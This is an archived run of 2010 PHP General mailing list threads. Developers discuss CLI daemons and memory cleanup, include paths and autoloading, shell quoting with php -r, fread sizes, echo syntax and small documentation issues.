>> 'SomeClass' is instantiated at every loop, I am assuming it is only
>> compiled once as it has already been 'seen'.
>
> Yup.

Just to clarify, you mean we don't need the op-code cache here right?


>
>> 2) What about garbage collection? In a standard apache-mod-php setup,
>> we rely on the end of a request-cycle to free up resources - close
>> file descriptiors, free up memory etc..
>>     I am assuming in the aforesaid standalone daemon case, we would
>> have to do this manually?
>
> Yes.
>

So 'unset($some_big_array)'  or 'unset($some_big_object)' etc.. is the
right way to go for non-resource based items? i.e. it needs to be
explicitly done?

thx,
Ravi



>> Note: I have written pre-forker deamons in php directly and
>> successfully deployed them in the past, but never looked at in depth
>> to understand all the nuances. Anecdotally, I have
>> done 'unset()' at some critical places were large arrays were used,
>> and I think it helped. AFAIK, unlike Java, there is no 'garbage
>> collector' thread that does all the magic?
>
> Correct.
>
>
>
> --
> Per Jessen, Zürich (12.9°C)
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: php cli question

2010-09-13 Thread J Ravi Menon
On Sat, Sep 11, 2010 at 8:50 PM, Shawn McKenzie  wrote:
> On 09/10/2010 11:13 AM, J Ravi Menon wrote:
>> Hi,
>>
>> I have some basic questions on running php  (5.2.x series on Linux
>> 2.6) as a standalone daemon using posix methods (fork() etc..):
>>
>> #!/usr/bin/php
>> >
>> require_once ('someclass.php');
>>
>> // do some initializations
>> .
>>
>> // main 'forever' loop - the '$shutdown'  will
>> // be set to true via a signal handler
>>
>> while(!$shutdown)
>> {
>>   $a = new SomeClass();
>>
>>   $a->doSomething()
>>
>> }
>>
>> // shutdown logic.
>>
>> The 'someclass.php' in turn will include other files (via require_once).
>>
>> The above file will be executed directly from the shell. The main loop
>> could be listening to new requests via sockets etc..
>>
>> Few questions:
>>
>> 1) Does opcode cache really matter in such cli-based daemons? As
>> 'SomeClass' is instantiated at every loop, I am assuming it is only
>> compiled once as it has already been 'seen'.
>>     I am not very clear on how apc (or eaccelerator) works in such cases.
>>
>>
>> 2) What about garbage collection? In a standard apache-mod-php setup,
>> we rely on the end of a request-cycle to free up resources - close
>> file descriptiors, free up memory etc..
>>     I am assuming in the aforesaid standalone daemon case, we would
>> have to do this manually?  In the loop above, would it be better to
>> 'unset($a)' explicitly at the end of it before
>>     it goes to the next iteration?
>>
>> Note: I have written pre-forker deamons in php directly and
>> successfully deployed them in the past, but never looked at in depth
>> to understand all the nuances. Anecdotally, I have
>> done 'unset()' at some critical places were large arrays were used,
>> and I think it helped. AFAIK, unlike Java, there is no 'garbage
>> collector' thread that does all the magic?
>>
>> Thanks,
>> Ravi
>
> If I have time when you reply I'll answer the questions, but I must ask:
>  Is this purely academic?  Why is this a concern?  Have you encountered
> issues?  If so, what?

@Tom: I have compiled php with pcntl on and this has never been an
issue. It works well (on a linux setup), and I have deployed
standalone daemons with out any major problems. I have a home-grown
'preforker' framework (which I hope to share soon) which can be used
to exploit multi-core boxes.

@Shawn: It is not academic. There is a follow-up I am planning based
on the doubts above. I have deployed such daemons in the past with
some assumptions on (2) by doing manual cleanups - e.g. closing curl
connections, closing up db handles etc...  Really want to understand
how php works in such setups outside of apache+mod_php.

thanks,
Ravi







>
> --
> Thanks!
> -Shawn
> http://www.spidean.com
>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] php cli question

2010-09-10 Thread J Ravi Menon
Hi,

I have some basic questions on running php  (5.2.x series on Linux
2.6) as a standalone daemon using posix methods (fork() etc..):

#!/usr/bin/php
doSomething()

}

// shutdown logic.

The 'someclass.php' in turn will include other files (via require_once).

The above file will be executed directly from the shell. The main loop
could be listening to new requests via sockets etc..

Few questions:

1) Does opcode cache really matter in such cli-based daemons? As
'SomeClass' is instantiated at every loop, I am assuming it is only
compiled once as it has already been 'seen'.
I am not very clear on how apc (or eaccelerator) works in such cases.


2) What about garbage collection? In a standard apache-mod-php setup,
we rely on the end of a request-cycle to free up resources - close
file descriptiors, free up memory etc..
I am assuming in the aforesaid standalone daemon case, we would
have to do this manually?  In the loop above, would it be better to
'unset($a)' explicitly at the end of it before
it goes to the next iteration?

Note: I have written pre-forker deamons in php directly and
successfully deployed them in the past, but never looked at in depth
to understand all the nuances. Anecdotally, I have
done 'unset()' at some critical places were large arrays were used,
and I think it helped. AFAIK, unlike Java, there is no 'garbage
collector' thread that does all the magic?

Thanks,
Ravi

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Backtrace in fatal error?

2010-09-01 Thread Simon J Welsh
I think you need a PHP extension to do this. XDebug works rather nicely for 
this.
On 31/08/2010, at 8:49 PM, Paul Freeman wrote:

> When fatal error occurs is it possible to output also the backtrace in the 
> error log? The simple error message with file line 
> only is quite useless...
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] It's Friday (a MySQL Question)

2010-08-13 Thread Simon J Welsh
On 14/08/2010, at 9:59 AM, Ashley Sheridan wrote:

> I've only ever done something like this via the command line. Having
> said that, could you maybe pass a command line string to exec().
> Something like (untested):
> 
> echo 'password' | mysql -u root -p < query
> 
> I believe that is the right sort of thing, but I've never quite done it
> all as a single statement like this before, I've always tended to type
> in things on a line-by-line basis.
> 
> Thanks,
> Ash
> http://www.ashleysheridan.co.uk

That wont work, as pipping just passes stdout to stdin, which mysql grabs 
queries to run from (which you're using file redirection for).

I know of someone that wanted to do something similar, but didn't want to use a 
plaintext password in the command (shared host security and that sort of 
stuff), so they got PHP to generate a defaults file with the user/password and 
passed that instead (--defaults-extra-file)

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] $_SERVER['REMOTE_ADDR'] and sql injection

2010-06-23 Thread Simon J Welsh
There's a vulnerability in using anything from the user in SQL queries. Escape 
it :)
On 23/06/2010, at 6:53 PM, Tanel Tammik wrote:

> Hi,
> 
> is there a vulnerability with using $_SERVER['REMOTE_ADDR'] in sql queries?
> 
> Br
> Tanel 
> 
> 
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] last modified on a page

2010-06-13 Thread Simon J Welsh
On 14/06/2010, at 4:11 PM, David Mehler wrote:

> Hello,
> I've got what is probably a simple question. I've got a site with a
> footer include file. I want to have a section that displays the last
> time the page was modified. So for example say the index.php was last
> modified today and another page  was modified two days ago. When the
> include is run on the other page it says something like this page was
> last modified and it would be two days ago, but for the index file I
> get this page was last modified and today's date.
> Thanks.
> Dave.
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

Try using filemtime() and $_SERVER['SCRIPT_FILENAME']

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] is

2010-06-11 Thread Simon J Welsh

On 12/06/2010, at 8:43 AM, Daevid Vincent wrote:

>> -Original Message-
>> From: tedd [mailto:tedd.sperl...@gmail.com] 
>> 
>> I believe, just because it can be done doesn't mean that it 
>> should be done.
>> 
>> My practice is *never* to use > 
>> In fact, my practice is to not only use > the echo argument with a (), like:
>> 
>> 
>> 
>> I am sure there will be some that think that my practice is an 
>> overkill, or not "good practice", but it's a good thing that we all 
>> have a choice. Make your choice to best serve how you want your code 
>> to look.
> 
> As per http://us3.php.net/echo
> 
> echo() is not actually a function (it is a language construct), so you are
> not required to use parentheses with it. echo() (unlike some other language
> constructs) does not behave like a function, so it cannot always be used in
> the context of a function. Additionally, if you want to pass more than one
> parameter to echo(), the parameters must not be enclosed within
> parentheses. 
> 
> So you might want to reconsider your coding practice/style here and use the
> construct as designed or you might end up with a far worse scenario than
> short-tags could ever provide. Something more along the Python "print"
> debacle.
> 
> Also, for the love of God, please don't embed a variable into a literal
> string and use preprocessing.
> 
> Do it like so:
> 
> 

If you're doing it like that, you may as well use:



and leverage sending echo multiple parameters rather than using string 
concatenation.

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP -r, -a and .php return different results based upon " or ' marks !? [BUG]

2010-06-10 Thread Simon J Welsh

On 11/06/2010, at 12:49 PM, Daevid Vincent wrote:

> Chew on this...
> 
> develo...@mypse:~$ cat ./md5test.php
> #!/usr/bin/php
>  $password = '12345678';
> echo md5(strtoupper($password));
> echo "\n";
> echo md5(strtoupper('12345678'));
> echo "\n";
> 
> $password = '$12345678';
> echo md5(strtoupper($password));
> echo "\n";
> echo md5(strtoupper('$12345678'));
> echo "\n";
> ?>
> 
> develo...@mypse:~$ ./md5test.php
> 25d55ad283aa400af464c76d713c07ad
> 25d55ad283aa400af464c76d713c07ad
> 2d05c0e3d6d22343123eae7f5678e34c
> 2d05c0e3d6d22343123eae7f5678e34c
> 
> develo...@mypse:~$ php -r "echo md5(strtoupper('12345678'));"
> 25d55ad283aa400af464c76d713c07ad
> 
> develo...@mypse:~$ php -a
> Interactive shell
> php > echo md5(strtoupper('$12345678'));
> 2d05c0e3d6d22343123eae7f5678e34c
> 
> develo...@mypse:~$ php -r "echo md5(strtoupper('$12345678'));"
> b3275960d68fda9d831facc0426c3bbc
> 
> Why is the "-r" command line version different?
> 
> man php:
> 
>   Using parameter -r you can directly execute  PHP  code  simply  as
> you
>   would do inside a .php file when using the eval() function.
> 
> develo...@mypse:~$ php -v
> PHP 5.2.4-2ubuntu5.10 with Suhosin-Patch 0.9.6.2 (cli) (built: Jan  6 2010
> 22:01:14)
> Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
> 
> Then I tried it again on two different servers with the same result:
> 
> PHP 5.2.6-2ubuntu4.6 with Suhosin-Patch 0.9.6.2 (cli) (built: Jan  6 2010
> 22:03:33)
> Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
> 
> PHP 5.3.2-1ubuntu4.2 with Suhosin-Patch (cli) (built: May 13 2010 20:01:00)
> 
> Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
> 
> So now it get's more interesting...
> 
> A co-worker suggested to reverse the quotes:
> 
> develo...@mypse:~$ php -r 'echo md5(strtoupper("$12345678"));'
> 2d05c0e3d6d22343123eae7f5678e34c
> 
> Note the use of the single and double quotes are reversed. This gives me
> the RIGHT checksum.
> 
> To me this version is syntactically wrong because the " would indicate in
> normal PHP to pre-parse the literal $12345678 and treat $1 as some kind of
> variable or something. Whereas a ' says use the literal AS IS.
> 
> Not to mention that it is completely confusing that -r gives different
> results than -a and using it in a .php file all together. 
> 
> IF quotes are a factor (as they seem to be), then the -r PHP
> behind-the-scenes code should flip them around or something so the
> developer doesn't have to be concerned with this edge case nonsense. 
> 
> Sanity would dictate that all ways of executing the SAME PHP code would
> give the SAME results.
> 
> *sigh*

It's your shell doing what it's supposed to, by replacing $12345678, when the 
entire string's in double quotes, with the contents of the shell variable 
12345678 (most likely nothing), so all that PHP sees is: echo 
md5(strtoupper(''));
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] any major benefit in larger fread() blocks when reading STDIN?

2010-05-06 Thread Robert P. J. Day

  i'm looking at some existing code that (obviously) reads from stdin:


$fd = fopen("php://stdin", "r");
$source = "";
while (!feof($fd)) {
$source .= fread($fd, 1024);
}
fclose($fd);


it works fine, but is there any reason the original author would have  
chosen 1024 as the individual read unit size?  from the PHP page for  
fread here:


  http://ca.php.net/manual/en/function.fread.php

i read that reading with fread() stops after (among other things),  
"8192 bytes have been read (after opening userspace stream)."  does  
that mean that 8192 is the maximum read size you can specify?  and  
would there be any drawback or value in changing 1024 to 8192?  or  
would it make so little difference that it doesn't matter?  thanks.


rday


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] how to check for bandwidth limitations when uploading files?

2010-05-05 Thread Robert P. J. Day

Quoting Jochen Schultz :


OS?

Robert P. J. Day schrieb:
 probably not really a PHP question but i'll take a chance, anyway.  
  i want to examine the network throughput i can get when   
continually uploading files from a PHP script via a POST request   
using the HTTP_Request2 class.


 i have a client-side script that simply takes files, creates a   
short POST request, and submits it to a server-side PHP script that  
 takes the uploaded file and saves it.  no big deal.


 as a test, i created a random 5M file, then looped 100 times   
submitting the same file, and timed it.  while the system and user   
time was only a few seconds total, real (clock on the wall) time   
was 2.5 minutes.  this suggests that the bottleneck is simply   
network transfer speed.


 while i'm doing these uploads, is there a way to monitor network   
throughput?  if this is truly the bottleneck, the only real   
solution will be to pay a premium for faster network access, i   
suppose.  but i'd just like to be able to produce some numbers or   
evidence that that's the actual problem.  thoughts?


  whoops, sorry, CentOS 5.4.

rday


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] how to check for bandwidth limitations when uploading files?

2010-05-05 Thread Robert P. J. Day
  probably not really a PHP question but i'll take a chance, anyway.   
i want to examine the network throughput i can get when continually  
uploading files from a PHP script via a POST request using the  
HTTP_Request2 class.


  i have a client-side script that simply takes files, creates a  
short POST request, and submits it to a server-side PHP script that  
takes the uploaded file and saves it.  no big deal.


  as a test, i created a random 5M file, then looped 100 times  
submitting the same file, and timed it.  while the system and user  
time was only a few seconds total, real (clock on the wall) time was  
2.5 minutes.  this suggests that the bottleneck is simply network  
transfer speed.


  while i'm doing these uploads, is there a way to monitor network  
throughput?  if this is truly the bottleneck, the only real solution  
will be to pay a premium for faster network access, i suppose.  but  
i'd just like to be able to produce some numbers or evidence that  
that's the actual problem.  thoughts?


rday


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] creating a PHP wrapper script?

2010-04-23 Thread Robert P. J. Day

  i'm sure this isn't hard to do, but i'm having end-of-week brain
cramps.  just now, i installed a PHP package that lets me download
thumbnails of image files stored on a server -- the URL to generate
and download a thumbnail is, say:

http://server/d1/d2/thumbnail.php?fileID=whatever&arg1=val1&arg2=val2

and so on.  unsurprisingly, the thumbnail generation program accepts
numerous arguments and is incredibly sophisticated, and is stored in a
subdirectory under /var/www/html and ... well, you get the idea,
calling it directly involves creating quite the URL.

  instead, i'd like to stuff a wrapper script at the top of the
document root which hides all that complexity, so i can just browse
to:

http://server/thumb.php?fileID=whatever

and have that top-level thumb.php script make the appropriate
invocation to the real thumbnail.php script with all of those
(default) arguments and values.

  so, what would thumb.php look like?  i obviously need to simulate a
POST call, retrieve the output and pass it back unchanged.  thoughts?
surely this is something that people want to do on a regular basis,
no?

rday
--

====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Top vs. Bottom Posting.

2010-03-25 Thread Robert P. J. Day
On Thu, 25 Mar 2010, Rene Veerman wrote:

> +1 for top-posting..

  *sigh*.  you're joking, right?  you're seriously telling me that
there are people who are still sufficiently ignorant and childish that
they're still fighting this top- versus bottom-posting war?

  the war is over.  the consensus is that bottom-posting, accompanied
by sufficient trimming of extraneous material, is the norm.  it's
accepted.  it's documented.  it's the standard.  if you can't deal
with that, then i suggest you find another medium for communication.

  honestly, i can't take another one of these idiotic top- versus
bottom-posting debates.  while this mailing list has been immensely
useful so far, i'm unsubscribing.  when the whiny children on this
list have either grown up or moved on, let me know.  life is too short
to fight these same bullshit battles over and over again.

rday
--

====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] another question on setting include paths for a project

2010-03-23 Thread Robert P. J. Day
On Tue, 23 Mar 2010, Richard Quadling wrote:

> However you want to identify the location, the autoloading techniques
> will allow you to only need to identify the location once. As compared
> to every file meticulously maintaining relative links to files.
>
> So, for testing, would this not work?
>
> RunTests C:\Dev\Checkouts\PROJ\trunk\tests
> RunTests C:\Installed\PROJ\V1.1\Tests
> RunTests C:\Installed\PROJ\V2.2\Tests
> RunTests C:\Installed\PROJ\V3.3\Tests
>
> sort of thing?
>
> And in RunTests, you set the location based upon the $argv[1] (using
> the autoloader technique).
>
> No env_var. No include_path.

  sure, but deep down, you're still doing what i'm claiming has to be
done at some point -- *explicitly* identifying the target location.
you're just doing it in a different way, which is fine and might be
what i'm after.

rday
--


====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] another question on setting include paths for a project

2010-03-23 Thread Robert P. J. Day
On Mon, 22 Mar 2010, Nilesh Govindarajan wrote:

> What I do is, set the include path in the top-level bootstrapper.
>
> /bootstrap.php:
>
> set_include_path(dirname(__FILE__) . '/lib' . PATH_SEPARATOR .
> get_include_path());
>
> Then I load the autoloader from /lib/autoload.php at the time of bootstrap.
>
> /lib contains others /lib/Common, /lib/Util, etc.
>
> So when I say "new Common_Form();", it will include /lib/Common/Form.php

  not bad, i'll look at that more closely.  but let me mention a
wrinkle i mentioned before and expand on it so folks can see what i'm
trying to do and why i was suggesting the strategy i did.

  as i said, something i've used before (in admittedly non-PHP
projects) was to require developers who checked out the code base to
set a single env variable (say, PROJ_DIR) to point at the location of
the checkout.  while someone earlier suggested that was "overkill,"
this approach had a major benefit for me.

  in both that earlier project and in this current PHP project, there
was the possibility of multiple code base checkouts -- perhaps the
current stable one and a newer development one.  i'm a big fan of lots
and lots of automated testing so i would write numerous scripts that
would, from the command line, test the code base.

  i want those test scripts to work equally well on the production
checkout and the development checkout, and i also don't want to be
forced to locate those test scripts in any particular directory.  i
might want a totally separate checkout for test scripts, and the
freedom to check them out wherever i want.

  quite simply, i want to be able to check out my test scripts, and
tell them *which* code base to run against.  and i see no way around
that other than to have to explicitly identify the location of the
code base to be tested, and that's what the PROJ_DIR variable was for.
using that single variable, i could reset and point at whatever
checkout i wanted to test.  and i didn't see any easier way to do it.

  i've seen lots of suggestions of very clever ways to have the
components of a single checkout know there the rest of the checkout
is, and most of them would work fine.  but it seems clear that none of
those techniques would give me the ability to do what i want above --
to arbitrarily refer to checkouts from *elsewhere* and have everything
still work.  and there's one more thing.

  to speed up coding, i've added a "utils" directory to the code base,
containing (you guessed it) handy-dandy little utilities.  and since
they're part of the repository, it's not hard for other parts of the
checkout to include them.  but, eventually, someone is going to start
a second, sort-of-related project, and will want to reuse some of
those utilities, and the obvious solution will be to move those
utilities out of the first project and give them their own checkout
(svn external?), and again, i don't want to lock any scripts into any
particular location.

  the single environment variable idea still seems like the obvious
solution, or maybe even more than one.  because i don't see that
there's any way to make this *completely* automated.  at some point,
if i want as much flexibility as possible, a developer who checks out
one or more of these projects has to identify what directories he
wants to work with, and all subsequent includes will work off of that.

  thoughts?  sorry for rambling on so long.

rday
--


Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] another question on setting include paths for a project

2010-03-22 Thread Robert P. J. Day
On Mon, 22 Mar 2010, Richard Quadling wrote:

> Depending upon what is being included, an autoloader could help
> here.
>
> The main payoffs for autoloading are reduced memory footprint (class
> are loaded JIT) and no need for each class to know exactly where the
> other classes are.
>
> So, your main page needs to load the autoloader and the autoloader
> handles the loading of the classes.
>
> No need to change the include_path setting.

  ok, i'm looking at the PHP manual page for autoload, sample:

  function __autoload($class_name)
  {
require_once $class_name . '.php';
  }

and some obvious questions suggest themselves:

1) in as simple an example as above, does the include_path still
control the search?  since i'm not doing anything fancy above in terms
of specifying *where* that class is defined, it seems that i'll still
have the same problem to solve, no?

2) i'm guessing that i can make the __autoload function as
sophisticated as i want, in that i can have it consult an environment
variable to determine where to search, but i'm still unsure as to how
i can set an environment variable to be consulted on the "server"
side.

rday
--

====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] another question on setting include paths for a project

2010-03-22 Thread Robert P. J. Day

  to recap regarding an earlier question i asked regarding extending
include paths, i have an existing project (call it "proj" currently
all under a top-level directory also named "proj") which can be SVN
checked out anywhere under a user's home directory.  so in my case, i
might have my svn working copy under, say,
/home/rpjday/stuff/work/proj/, and all proj-related content under
that.

  at the moment, there are some subdirs under proj/ like "common" and
"utils" and "debug", and all includes or requires throughout the
working copy are currently and awkwardly of the form:

  include '../../proj/utils/somescript.php';

in short, every script that needs to include another one somewhere
else in the code structure sadly needs to know its precise relative
location.

  my proposal is to get rid of most of that by:

1) having developers set a single env var PROJ_DIR in their login
   session, reflecting wherever the heck they checked out their
   working copy to, then ...
2) having said developers uniformly extend their directly callable PHP
   scripts with something at the very top like:

  set_include_path(getenv('PROJ_DIR') . PATH_SEPARATOR . get_include_path());

not only will that let them simplify their command-line callable
scripts to say just:

  include 'utils/somescript.php';

also, as i read it, that newly-extended include path percolates down
through all PHP scripts invoked directly or indirectly from this one,
right?  so while i could add that set_include_path() to every single
PHP script everywhere in the code base, it's really only necessary to
add it to those PHP scripts that people intend to *invoke* directly --
every other script will pick it up automatically as it's called, is
that correct?  (did i phrase that meaningfully?)

  that was part one.

  the new additional complication is that some of those PHP scripts
will manually construct HTTP POST requests and ship those requests off
to PHP scripts that live under a public_html/ directory, whose
scripts might *also* want to include some of those very same utils/ or
common/ scripts but that modified include path will, of course, not
carry across a POST request, so what's the standard way to similarly
modify the include path of the scripts on the server end?

  (unsurprisingly, all those "server-side" PHP scripts are also part
of the entire SVN checkout just so i can keep everything in the same
place for testing.)

  so how can i have those "server-side" scripts extend their search
path based on, perhaps, the same environment variable?

  thoughts?

rday
--


Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] no svn checkout of the current PHP development repo?

2010-03-20 Thread Robert P. J. Day
On Sat, 20 Mar 2010, Peter Lind wrote:

> You should probably have a look at the internals list - there's a
> lot of discussion going on as to what should happen in terms of SVN
> structure.

  ok, i might do that.  as daniel suggested, that issue is noticeably
outside the scope of this general list.

rday
--

====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] no svn checkout of the current PHP development repo?

2010-03-20 Thread Robert P. J. Day

  just for fun, i figured i'd check out the current PHP development
stream.  however, if you read the web page here:

  http://php.net/svn.php

there's no mention of the "trunk", simply references to branches such
as 5.2 and 5.3.

  i popped over to:

  http://svn.php.net/viewvc/php/php-src/

and, sure enough, there's no "trunk" directory.  am i just missing
something?  because if i click on the "PHP 6" link up there on the
right (which represents exactly what i'd expect for the URL of the
trunk), bad things happen:

  An Exception Has Occurred

  Unknown location: /php/php-src/trunk
  HTTP Response Status

  404 Not Found

thoughts?  i'll assume this is just a temporary thing but, in any
event, if the trunk is normally available, the PHP svn page should
really mention it explicitly, not just the 5.x branches.

rday
--

====
Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: where to make observations about current PHP manual?

2010-03-20 Thread Robert P. J. Day
On Fri, 19 Mar 2010, Daniel Brown wrote:

> On Fri, Mar 19, 2010 at 20:57, Robert P. J. Day  wrote:
> >
> >  i'm not sure that addresses my post -- it doesn't make grammatical
> > sense to state that something is unavailable "since" something that is
> > yet to be officially released.
>
> In most cases, you'd be absolutely correct but PHP is a
> developer-focused open source project, so some folks in the community
> do use PHP 6.  If you'd like to be one of them, we'd certainly welcome
> the extra help in finding and reporting bugs!  You can always download
> the latest snapshot builds at:
>
> http://snaps.php.net/

  surely there's a svn checkout for the ongoing php 6, yes?

rday
--


Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] where to make observations about current PHP manual?

2010-03-20 Thread Robert P. J. Day
On Fri, 19 Mar 2010, Daniel Brown wrote:

> On Fri, Mar 19, 2010 at 16:59, Robert P. J. Day  wrote:
> >
> >  i don't see a separate mailing list for documentation so is this
> > where i would point at oddities in the manual?  as in, here:
> >
> > http://www.php.net/manual/en/language.variables.external.php
> >
> > we read:
> >
> > "// Unavailable since PHP 6."
> >
> > that just looks weird, no?
>
> Indeed.  It would probably be better to read, "Unavailable as of
> PHP 6."  I'll patch that in the XML sources now, and the next time
> the manual rebuilds, the changes will take effect.

  precisely the point i was trying to make, but i might avoid the use
of the word "unavailable" since that's still slightly ambiguous.  it
makes it seem like it's still there somehow, you just can't get to it.
i would be more direct, something like "*removed* as of PHP 6."  then
there's no confusion.

> For the future, please report such things as Documentation
> Problems at http://bugs.php.net/.

  ok, will do.

rday
--


Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] php compile / configure options

2010-03-19 Thread Simon J Welsh
On 20/03/2010, at 10:46 AM, Gregory Machin wrote:

> Hi
> I'm setting up a development environment that runs multiple versions of php.
> I'm looking a list of the compile option options for each php release
> other than "./configure --help" with more detail on what each option
> does.
> Any suggestions welcome .
> 
> Thank you.
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

From http://php.net/install.unix:

"The initial PHP setup and configuration process is controlled by the use of 
the command line options of the configure script. You could get a list of all 
available options along with short explanations running ./configure --help. Our 
manual documents the different options separately. You will find the core 
options in the appendix , while the different 
extension specific options are descibed on the reference pages."

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e





--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: where to make observations about current PHP manual?

2010-03-19 Thread Robert P. J. Day
On Fri, 19 Mar 2010, Shawn McKenzie wrote:

> Robert P. J. Day wrote:
> >  i don't see a separate mailing list for documentation so is this
> > where i would point at oddities in the manual?  as in, here:
> >
> > http://www.php.net/manual/en/language.variables.external.php
> >
> > we read:
> >
> > "// Unavailable since PHP 6."
> >
> > that just looks weird, no?
> >
> > rday
>
> $HTTP_POST_VARS was the way to access post vars in PHP before 4.1.
> Since then it is $_POST, and $HTTP_POST_VARS is only available if
> you set register_long_arrays = On in php.ini.  As of PHP 6
> $HTTP_POST_VARS will not be available, you must use $_POST.

  i'm not sure that addresses my post -- it doesn't make grammatical
sense to state that something is unavailable "since" something that is
yet to be officially released.

rday
--



Robert P. J. Day   Waterloo, Ontario, CANADA

Linux Consulting, Training and Kernel Pedantry.

Web page:  http://crashcourse.ca
Twitter:   http://twitter.com/rpjday


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] where to make observations about current PHP manual?

2010-03-19 Thread Robert P. J. Day

 i don't see a separate mailing list for documentation so is this
where i would point at oddities in the manual?  as in, here:

http://www.php.net/manual/en/language.variables.external.php

we read:

"// Unavailable since PHP 6."

that just looks weird, no?

rday
--

====
Robert P. J. Day   Waterloo, Ontario, CANADA

